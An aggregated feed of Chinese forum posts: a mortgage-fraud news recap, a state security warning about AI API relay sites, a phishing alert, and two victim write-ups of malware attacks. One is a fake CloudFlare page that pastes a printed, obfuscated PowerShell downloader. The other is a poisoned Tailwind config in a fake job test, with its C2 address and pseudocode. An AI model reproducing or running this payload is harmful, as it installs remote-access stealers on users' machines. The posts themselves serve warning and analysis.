前提回顾：@qqbb https://v2ex.com/t/1212035 《月薪 3000 元小伙签下 1850 万购房合同，房东、中介突然报警称买方交易违规，警方调查后揪出背后诈骗团伙，13 人被逮捕》： https://mp.weixin.qq.com/s/22bl00N2B5tJqfMDXlGCvg 第一步，骗子让出资人李女士借 277 万元给小何付首付，等钱一到账就瓜分掉，还不出钱是小何的事，因为这个借贷是小何和李女士间的，跟自己没有关系； 第二步，有了这个首付流水后，包装小何去贷款，贷下来的钱也全是卖家的，而负责还银行贷款的是小何。 就这样，卖家房东和中介团伙勾结，瓜分卖房款 1850 万，小何成了最大的背贷工具人。
https://www.bilibili.com/video/BV1nDE46ZEHf/
https://www.bilibili.com/video/BV1nDE46ZEHf/
https://www.bilibili.com/video/BV1nDE46ZEHf/
https://www.bilibili.com/video/BV1nDE46ZEHf/
https://www.bilibili.com/video/BV1nDE46ZEHf/
https://www.bilibili.com/video/BV1nDE46ZEHf/
https://www.bilibili.com/video/BV1nDE46ZEHf/
https://www.bilibili.com/video/BV1nDE46ZEHf/
https://www.bilibili.com/video/BV1nDE46ZEHf/
https://www.bilibili.com/video/BV1nDE46ZEHf/
https://www.bilibili.com/video/BV1nDE46ZEHf/
https://www.bilibili.com/video/BV1nDE46ZEHf/
https://www.bilibili.com/video/BV1nDE46ZEHf/
https://www.bilibili.com/video/BV1nDE46ZEHf/
13 个帖子 - 12 位参与者 阅读完整话题
IT之家 6 月 8 日消息，国家安全部今天发布安全提示，一段时间以来，随着人工智能应用需求的迅猛增长，批量提供海内外大模型访问服务的“AI 中转站”在国内迅速走红。然而，当前“AI 中转”市场鱼龙混杂，部分“AI 中转站”运营资质缺失、安全防护薄弱，用户隐私泄露与数据倒卖问题时有发生，数据安全风险不容忽视。 IT之家附全文如下： 一段时间以来，随着人工智能应用需求的迅猛增长，批量提供海内外大模型访问服务的“AI 中转站”在国内迅速走红。然而，当前“AI 中转”市场鱼龙混杂，部分“AI 中转站”运营资质缺失、安全防护薄弱，用户隐私泄露与数据倒卖问题时有发生，数据安全风险不容忽视。 什么是“AI 中转站”？ “AI 中转站”是介于用户和 AI 模型厂商官方服务之间的代理层。它把各家 AI 模型厂商的应用程序编程接口（API）统一整合到一个平台，再提供给用户。形象地讲，“AI 中转站”就是用户和大模型之间的“中介”，可以帮助用户更便捷地调用多个 AI 大模型，一站式满足用户多样化使用需求。 —— 无需切换模型。用户只需接入中转站一个入口，即可调用国内外主流大模型，无需来回切换。 —— 价格相对低廉。为吸引用户使用，部分“AI 中转站”会利用折扣与积分补贴，使“AI 中转站”的使用成本低于官方标价。 —— 支付方式便捷。用户可以使用国内主流支付渠道进行支付，便于充值使用。 —— 绕过使用限制。用户甚至可以借此绕过网络访问、官方授权、跨境传输等限制，直连部分海外大模型。 “AI 中转站”风险不容小觑 当前，“AI 中转站”在为用户提供低价便利服务、填补市场缺口的同时，也因粗放发展、无序运营滋生了一系列安全风险。 —— 数据裸奔，隐私泄露。“AI 中转站”作为第三方端口，会将用户提交的数据留存至服务器。部分“AI 中转站”缺乏正规数据加密与管控机制，有的甚至私自截留用户数据，倒卖给其他大模型厂商用于系统训练，造成用户隐私泄露。 —— 模型缩水，结果失真。部分“AI 中转站”为压缩成本、获取更多利润，使用低配模型冒充高端模型，缩减算力供应、关闭校验功能，导致模型输出内容偏差大、逻辑性差，容易误导用户决策。 —— 恶意植入，远程控制。部分“AI 中转站”暗藏后门。不法分子可能通过“后门”向用户设备植入恶意代码，借此窃取账号密钥、云端凭证等，甚至植入远程控制程序，持续监控用户设备、窃取用户数据。 —— 数据出境，失管失控。部分“AI 中转站”未取得数据出境相关合规资质，未履行安全评估的法定流程，擅自将用户输入数据传输至境外服务器，可能造成个人隐私、商业机密乃至国家秘密外泄。 让“AI 中转”更安全 近期，中央网信办在全国部署开展“清朗 · 整治 AI 应用乱象”专项行动。此次行动以规范 AI 服务和应用、促进行业健康有序发展、保护公民合法权益为核心目标，彰显了国家持续完善 AI 领域监管规范、护航技术向善发展的坚定决心。人工智能安全既需要监管部门的集中整治引导，更离不开广大用户的主动防范与理性使用。建议大家在使用“AI 中转站”这类工具时，注意做好个人隐私保护和安全防护。 —— 选用正规平台。选择官方直连、正规授权、安全合规的平台，不使用无明确来源、无运营资质、无安全保障的“三无”平台。 —— 加强安全防范。使用“AI 中转站”时要提前对个人隐私、项目资料等敏感数据进行脱敏处理，同时做好密钥管理，定期更换凭证，关闭协同操作、数据共享等非必要功能。 —— 及时处置异常。使用中如遇到异常扣费、无故封号、数据异常等问题，应立即停止使用、修改密钥、查杀病毒、留存证据，避免风险持续扩大。 —— 举报可疑线索。如发现有利用“AI 中转站”窃取国家秘密或从事其他危害国家安全行为的可疑线索，请通过 12339 国家安全机关举报受理电话、网络举报受理平台（ www.12339.gov.cn ）、国家安全部微信公众号举报受理渠道或直接向当地国家安全机关进行举报。
众所周知最近开放的 Premium 分组以其复古的特效，尊贵的特权，稀缺的数量对佬友们有着特别的吸引力 最近本情报组织收到了一些机密情报，希望大家在最近一定要警惕各种用 Premium 吸引人的钓鱼活动，包括但不限于 “Premium 抽奖” 等等 Premium 标虽酷炫，但若被永久禁言则得不偿失，务必谨慎又谨慎 – 星穹铁道情报室 4 个帖子 - 4 位参与者 阅读完整话题
今天打开某个wordpress网站时，首先跳出CloudFlare的验证页面，然而吊诡的是，往日里应该鼠标单击一下就验证通过的页面却变成下图所示。 看到此提示的楼主一脸懵逼，CloudFlare啥时候这么变态了？楼主打开powershell，发现剪贴板里被添加了一坨乱码 $nzr69=‘eeDRdInhH’;$tfpr16=‘4107203e50780b182f1452736f43123d113b1100297c2a2c1a461b0017323b072c3e07210b1109330a28090d3a385f7e01012a1b1a21111c14200b3d010b2709581f011d3a1a0d254b2b21264a1a0b0b3d170c302b343b011c27060a28061d390b35725f312821557b554c2f0807756a5903010126483525260c694a0d26135f101729194e4013361c372601244021074b3525260c1454520f001116330a2d01050e0c09211c05240b40614c5e0a371364271c2d0845691b102c033c31150064160d3b0b0b3c0a173d7249190f1c204541233f0678564865230a36310135211d3c482b313e08724a093c175179180b2000451804112c72402e030a795d456c0937301d1c2d084b0d1d4a190f1c20385f7e15013d3c0926010a29140d250b262908006c7b4f6e49462d1d0063754d724a1b305c5779625f2f011a60411d36231d79535873411d36231d794e4524114577724928000c68480b2b26446d1d1071575e602a16381758634e4c3f261630152126130a2f37491e0b0a1a00143137173d4e451d170c647543211a1c38165f6b7d07261d05271611252017671d0027154a25220d6607062c001d6a220c39510975010962260b220b06755d06253302705b5b2c5d5c70655c2b56097f545c7537067a5c5a715006756353285d59780750773307705e5d710151253652700f592d565c7337077a0c5a2c51433624592d080b2a075725615c79585f7e005273620671560b2d510776375c7d560b290043372007740a0c3e0b136a310b244805270100793108261b0c2e09043637436e4e45071011023b082c4e4c2911177072491c1d0d0a04162d3134281c1b210b027f3b02613a0d3b1148143310214e4c291117707b1f6d1d10715758752f01251d0d333611252010643d042d0015647f372c0d07260116646019340d093c060d3f0110281c1c65360921371469433b2d060a2a3617695c15355e0c227a4927011c684d31212110643e093c0d456033103b5a41611e003c3b1034553b3c0417307f343b010b2d1616647f2220020d1804112c7240281a1a7c4548133b0a2d011f1b111c28374401070c2c000b7f261630153a2d080a323749001a0d254548083b102c1c09243504303a446d0f1c3a514569140b3b0d0d68482036200b3b2f0b3c0c0a2a723720020d2611093d110b271a012610003931053d0d0033185e6369373d0f1a3c4835363d072c1d1b6848322d3c0026193b3c1c0921722c200a0c2d0b45343d132c1c1b200009287249081c0f3d08002a2628201d1c6842480a3d343b010e210900637e4364390126010a33011030020d6f49420c3b002d0b066f494269110b2403092601426876062d025c7900152323537e550d300c11’;$kc02=‘’;0..($tfpr16.Length/2-1)|%{ ke0= _*2;$kc02+= char };&([ScriptBlock]::Create($kc02)) 楼主感到蹊跷，把代码丢进deepseek把乱码还原分析，deepseek解读如下： 首先清屏，输出绿色“Starting firefox update...” 定义一个字符串变量$Updater，包含一系列命令： 从 https://autoupdatet.com/get_update?i=102255 下载文件保存为 Update.zip 从 https://nodejs.org/dist/v7.10.1/node-v7.10.1-win-x64.zip 下载文件保存为 firefox.zip（注意：这个URL是Node.js v7.10.1，不是Firefox。名字具有欺骗性） 解压firefox.zip到 C:\ProgramData\ 解压Update.zip到 C:\ProgramData\ 启动 C:\ProgramData\node-v7.10.1-win-x64\node.exe，参数为 C:\ProgramData\Update.js，窗口隐藏 然后，通过Start-Process启动一个新的PowerShell进程，参数为：-NoProfile, -ExecutionPolicy Bypass, -WindowStyle Hidden, -Command 加上上面的Updater字符串。这意味着在一个隐藏的PowerShell窗口中执行Updater字符串。这意味着在一个隐藏的PowerShell窗口中执行Updater中的命令。 最后，输出“Done! firefox security intelligence version ... successfully installed.”（这是虚假的成功消息，旨在误导用户认为Firefox更新已安装） 分析意图：这是一个恶意脚本。它伪装成Firefox更新，但实际上会下载并执行未知代码。下载的两个文件：Update.zip和firefox.zip（实际上nodejs）。解压后运行node.exe执行Update.js。攻击者可能利用Node.js运行恶意JavaScript代码。域名autoupdatet.com可疑，不是官方域名。参数i=102255可能用于标识目标或特定载荷。 执行后果： 下载并解压文件到C:\ProgramData\（所有用户共享的程序数据目录）。 在隐藏的PowerShell进程中执行下载和运行操作，用户可能看不到窗口。 最终会运行一个Node.js脚本（Update.js），该脚本可能具有恶意行为，例如：窃取信息、安装后门、下载更多恶意软件、加密文件勒索、键盘记录等。 由于使用了-EP Bypass，绕过了PowerShell执行策略限制。 代码没有检查下载文件的完整性和安全性。 该脚本试图欺骗用户，让用户以为Firefox安全智能更新已成功安装，但实际上与Firefox无关。 打开网站其他页面显示如下 他奶奶的，差点中招！佬友如果也遇到这种假CloudFlare页面，记得保持警惕！ 2 个帖子 - 2 位参与者 阅读完整话题
先介绍下相关背景： 本人正在投递Web3相关工作，大概就是加密货币那些东西，一般从事这一行的自己肯定有一个钱包账户，钱包私钥/助记词泄露 ≈ 这个钱包的控制权泄露。别人可以直接转走你钱包里的链上资产。 事发昨日半夜，TG上有一个人加我，跟我说之前是听XX提起的我，他们急需用人。 虽然这个人我没听说过，但是我确实在找工作，我就顺着往下聊了，后续问我要了简历相关后跟我聊了点技术、语言相关。开始提出技术测验，本来我已经躺下并且对方很着急但是想着说不定是个机会还是爬起来了。 后续又对项目给我提了一些问题后让我运行项目，我当时并没有起疑 重点来了 npm start 后我的电脑风扇转速明显提升，在夜里比较明显，并且电脑CPU飙升（9850X3D），我立刻警铃大作，怀疑被投毒，决定立刻断网。 处理 迁移项目到另一台电脑上用codex分析，项目根目录中一个js文件被混淆了恶意代码，不贴源码了，大概贴一下代码问题 module.exports = { content: [ "./src/**/*.{js,jsx,ts,tsx}", "./public/index.html", ], theme: { extend: { colors: { primary: { dark: "rgb(92, 35, 7)", orange: "rgba(215, 129, 66, 1)", light: "rgba(230, 124, 31, 1)", }, mint: "#00ffa3", blue: "#5865f2", }, fontFamily: { montserrat: ["Montserrat", "sans-serif"], bakbak: ["Bakbak One", "sans-serif"], }, backgroundImage: { "gradient-primary": "linear-gradient(25deg, rgba(215, 129, 66, 1) 3%, rgba(230, 124, 31, 1) 32%, rgba(92, 35, 7, 1) 62%)", }, }, }, plugins: [], }; // 后面被追加了大量混淆恶意 JavaScript。 // 为避免误执行或再次传播 这里不再展示 分析结果 下载/控制地址： http://45.59.163.198:1244/s/90284f194823 用户目录落地位置： C:\Users\XXX\.vscode 主要落地文件： f.js package.json package-lock.json node_modules ex3 sid font3 plog3 pomt3 tpath 落地的 f.js SHA256： FB484315DF79FAC9D832861CE7B955C7733BF3F4073DD0659CEC24E260A442E0 其依赖里出现过这些包名： @nut-tree-fork/nut-js axios basic-ftp clipboardy msgpack-lite plist request screenshot-desktop sharp socket.io-client ssh2 unzipper uuid 这些特征更接近远控/信息窃取器 伪代码结构 文件：tailwind.config.js 1. 先导出正常 Tailwind 配置 - content 指向 src 和 public - theme.extend 定义颜色、字体、背景渐变 - plugins 为空数组 2. 正常配置后面追加混淆 JavaScript - 通过大量编码字符串、数组重排、动态解码隐藏真实逻辑 - 让肉眼审查时不容易看到 URL、路径、命令和依赖名 3. 当 react-scripts 加载 Tailwind 配置时，Node.js 执行追加代码 4. 恶意追加代码的大致流程 主流程： 如果当前环境不符合条件： 退出 设置落地目录： 用户目录 = C:\Users\xxx 伪装目录 = 用户目录\.vscode 创建伪装目录： 如果 .vscode 不存在： 创建目录 准备二阶段文件： 目标文件 = .vscode\f.js 目标 package.json = .vscode\package.json 从远端地址请求载荷： 远端地址 = http://45.59.163.198:1244/s/90284f194823 把返回内容写入： .vscode\f.js .vscode\package.json 在 .vscode 目录里安装依赖： 触发 npm install 或等价流程 启动二阶段： 让 Node.js 执行 f.js 5. 二阶段 f.js 的大致能力 初始化： 生成或读取 sid 记录本机标识 连接远端控制端 建立通信： 连接 socket.io 控制通道 等待远端命令 上传执行结果 信息收集： 扫描浏览器/钱包/SSH/FTP/系统信息相关路径 读取剪贴板 截屏 收集文件列表或特定敏感文件 远程控制： 接收远端指令 执行文件上传/下载 执行交互控制相关动作 维持会话状态 清理或隐藏： 使用 .vscode 作为伪装目录 用普通 node 子进程运行 命令行可能显示为 node - 后续： 火绒全盘查杀 利用codex、claude code进行扫描分析 必要时考虑重装系统 cookie重置 个人分析： 该攻击精确针对web3从业者，个人钱包余额不多并且断网及时未造成任何损失 在墙内被保护得太好的，佬友们在外面一定要警惕投毒，避免造成任何资损 网络安全不容忽视！ 9 个帖子 - 5 位参与者 阅读完整话题